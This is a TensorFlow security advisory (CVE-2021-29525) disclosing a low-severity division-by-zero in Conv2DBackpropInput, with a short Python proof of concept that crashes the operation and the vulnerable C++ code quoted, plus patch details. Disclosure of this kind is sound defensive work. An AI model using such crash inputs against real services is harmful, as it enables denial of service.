Division by 0 in `Conv2DBackpropInput`

Low **mihaimaruseac** published **GHSA-xm2v-8rrw-w9pm** on May 12, 2021

Package

tensorflow, tensorflow-cpu, tensorflow-gpu (pip)

Affected versions	Patched versions
< 2.5.0	2.1.4, 2.2.3, 2.3.3, 2.4.2

Description

Impact

An attacker can trigger a division by 0 in `tf.raw_ops.Conv2DBackpropInput` :

```
import tensorflow as tf

input_tensor = tf.constant([52, 1, 1, 5], shape=[4], dtype=tf.int32)
filter_tensor = tf.constant([], shape=[0, 1, 5, 0], dtype=tf.float32)
out_backprop = tf.constant([], shape=[52, 1, 1, 0], dtype=tf.float32)

tf.raw_ops.Conv2DBackpropInput(input_sizes=input_tensor, filter=filter_tensor,
                               out_backprop=out_backprop, strides=[1, 1, 1, 1],
                               use_cudnn_on_gpu=True, padding='SAME',
                               explicit_paddings=[], data_format='NHWC',
                               dilations=[1, 1, 1, 1])
```

This is because the implementation does a division by a quantity that is controlled by the caller:

```
  const size_t size_A = output_image_size * dims.out_depth;
  const size_t size_B = filter_total_size * dims.out_depth;
  const size_t size_C = output_image_size * filter_total_size;
  const size_t work_unit_size = size_A + size_B + size_C;
  ...
  const size_t shard_size =
      use_parallel_contraction ? 1 :
      (target_working_set_size + work_unit_size - 1) / work_unit_size;
```

Patches

We have patched the issue in GitHub commit 2be2cdf3a123e231b16f766aa0e27d56b4606535.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Severity

Low

CVE ID

CVE-2021-29525

Weaknesses

No CWEs